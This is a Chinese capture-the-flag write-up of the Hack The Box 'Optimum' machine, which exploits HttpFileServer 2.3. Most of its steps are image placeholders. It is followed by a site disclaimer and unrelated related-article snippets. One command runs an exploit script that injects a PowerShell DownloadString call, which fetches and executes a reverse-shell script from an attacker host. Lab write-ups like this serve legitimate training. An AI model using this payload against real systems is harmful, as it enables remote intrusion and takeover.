htb-window-4-Optimum-HttpFileServer 2.3

nmap

在这里插入图片描述

exploit-HttpFileServer 2.3

在这里插入图片描述

生成ps1反弹shell

在这里插入图片描述

模拟漏洞案例的请求

python 49125.py 10.10.10.8 80 "c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.5/reverse.ps1')"

在这里插入图片描述

获取flag

在这里插入图片描述

system

  • Sherlock
    在这里插入图片描述
    在这里插入图片描述

  • 生成反弹ps1
    在这里插入图片描述

  • 漏洞
    在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/25135.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

前端面试题日常练-day58 【面试题】

题目 希望这些选择题能够帮助您进行前端面试的准备,答案在文末 1. 在PHP中,以下哪个函数用于输出字符串到浏览器? a) echo() b) print() c) output() d) display() 2. PHP中的预定义变量$_GET用于获取什么类型的数据? a) 用户…

selenium-java自动化教程

文章目录 Selenium支持语言WebDriver 开始使用chromedriver模拟用户浏览访问模拟点击事件关闭弹窗,选中元素并点击 获取页面文本结语 Selenium Selenium是一个自动化测试工具,可以模拟用户操作web端浏览器的行为,包括点击、输入、选择等。也可…

深入理解Python:装饰器与闭包

深入理解Python:装饰器与闭包 在Python编程中,装饰器和闭包是两个非常有用的高级特性。装饰器允许我们在不修改函数或类定义的情况下扩展其功能,而闭包则使得函数能够捕获和保存其所在作用域的变量。本文将详细介绍装饰器和闭包的基本概念、使用方法以及它们在实际应用中的…

系统运行中数据库瓶颈的解决方案

数据库在系统运行中的重要性不言而喻。它不仅是数据存储的核心,更是数据操作和管理的枢纽。然而,随着系统的逐步扩展,数据库的性能瓶颈问题常常成为阻碍系统高效运行的瓶颈。本文将探讨在系统运行中,当数据库遇到瓶颈时的解决方案…

Linux---进程/磁盘管理

文章目录 目录 文章目录 一.Linux中进程的概念 二.显示系统执行的进程 2.1: ps 命令 2.2 top 命令 三.终止进程 四.磁盘分区 一.Linux中进程的概念 在Linux中,进程是指操作系统中正在执行的程序的实例。每个进程都由操作系统分配了独立的内存空间,用于…

共识算法之争(PBFT,Raft,PoW,PoS,DPoS)

文章目录 共识算法拜占庭容错技术(Byzantine Fault Tolerance,BFT)PBFT:Practical Byzantine Fault Tolerance,实用拜占庭容错算法Raft协议POW(Proof of Work)工作量证明机制POSDPoS(Delegated Proof of St…

多关键字排序

成绩排序 查看测评数据信息 给出班里某门课程的成绩单&#xff0c;请你按成绩从高到低对成绩单排序输出&#xff0c;如果有相同分数则名字字典序小的在前。 输入格式 第一行为n (0 < n < 20)&#xff0c;表示班里的学生数目&#xff1b; 接下来的n行&#xff0c;每行为每…

[创业之路-115] :互联网时代的创客文化与创客文化在企业中的应用

目录 一、什么是创客文化 》美国人的文化基因 1.1、创客文化的起源与发展 1.2、创客文化的特点 1.3、创客文化的应用与价值 1.4、创客文化的挑战与解决方案 二、创业文化对新职场人思维方式的转变 》美国人的文化基因 2.1、从固定思维到创新思维 2.2、从单打独斗到团队…

08-Eureka-eureka原理分析

08-Eureka-eureka原理分析 1.服务调用出现的问题: 1.服务消费者该如何获取服务提供者的地址信息? 2.如果有多个服务提供者,消费者该如何选择? 3.消费者如何得知服务提供者的健康状态? 2.Eureka的作用(原理): 在Eureka的结构当中,他分成了两个概念,两个角色。第…

LNWT--篇章三小测

问题1: BERT训练时候的学习率learning rate如何设置? 在训练初期使用较小的学习率&#xff08;从 0 开始&#xff09;&#xff0c;在一定步数&#xff08;比如 1000 步&#xff09;内逐渐提高到正常大小&#xff08;比如上面的 2e-5&#xff09;&#xff0c;避免模型过早进入…

Lua 元表(Metatable)深入解析

Lua 元表&#xff08;Metatable&#xff09;深入解析 Lua 是一种轻量级的编程语言&#xff0c;因其简洁性和强大的扩展能力而被广泛应用于游戏开发、脚本编写和其他领域。在 Lua 中&#xff0c;元表&#xff08;Metatable&#xff09;是一个非常重要的概念&#xff0c;它允许我…

hexo更新流程及解析

文章目录 文件解析md文件头部内容&#xff08;1&#xff09;文章顶置&#xff0c;排序&#xff08;2&#xff09;文章隐藏&#xff08;3&#xff09;分类和标签&#xff08;4&#xff09;其他属性 更新博客注意安装插件注意&#xff1a;1、关于中括号的问题 文件解析 . ├──…

【Redis】Redis实现分布式锁合理的控制锁的有效时长的方法

在分布式系统中&#xff0c;合理地控制 Redis 分布式锁的有效时长&#xff08;即过期时间&#xff09;非常重要&#xff0c;以确保锁既能防止死锁又能提供高可用性。设置合理的过期时间可以防止客户端在持有锁期间崩溃而导致其他客户端无法获取锁的情况&#xff0c;同时也能确保…

[数据集][目标检测]足球场足球运动员身份识别足球裁判员数据集VOC+YOLO格式312张4类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;312 标注数量(xml文件个数)&#xff1a;312 标注数量(txt文件个数)&#xff1a;312 标注类别…

调查显示各公司在 IT 安全培训方面存在差距

网络安全提供商 Hornetsecurity 最近进行的一项调查显示&#xff0c;许多组织的 IT 安全培训存在严重缺陷。 这项调查是在伦敦举行的 Infosecurity Europe 2024 期间发布的&#xff0c;调查发现 26% 的组织没有为其最终用户提供任何 IT 安全培训。 这些调查结果来自世界各地的…

阿里云活动推荐:AI 应用 DevOps 新体验

活动简介 阿里云新活动&#xff0c;体验阿里云的云效应用交付平台。体验了下&#xff0c;总体感觉还不错。平台把常规的开发过程封装成了模板&#xff0c;部署发布基本都是一键式操作&#xff0c;并且对自定义支持的比较好。 如果考虑将发布和部署搬到云上&#xff0c;可以玩一…

代码随想录算法训练营DAY32|122.买卖股票的最佳时机II、55. 跳跃游戏、45.跳跃游戏II

122.买卖股票的最佳时机II 题目链接&#xff1a;122.买卖股票的最佳时机II class Solution(object):def maxProfit(self, prices):""":type prices: List[int]:rtype: int"""max_profit 0profit 0buyin_idx 0for i in range(len(prices)):p…

力扣第185题:部门工资前三高的员工

关注微信公众号 数据分析螺丝钉 免费领取价值万元的python/java/商业分析/数据结构与算法学习资料 在本篇文章中&#xff0c;我们将详细解读力扣第185题“部门工资前三高的员工”。通过学习本篇文章&#xff0c;读者将掌握如何使用SQL语句来解决这一问题&#xff0c;并了解相关…

使用selenium/drissionpage时如何阻止chrome自动跳转http到https

加个启动参数&#xff1a; --allow-running-insecure-content没了 参考文章&#xff1a;List of Chromium Command Line Switches

Directory Opus 13.6 可用的apk文件右键菜单脚本

// apk文件的右键经过adb安装的脚本,可以在多个设备中选择function OnClick(clickData) {try {// 检查是否选中了文件if (clickData.func.sourcetab.selected_files.count 0) {DOpus.Output("没有选中任何文件");return;}// 获取选中的文件名var selectedFile clic…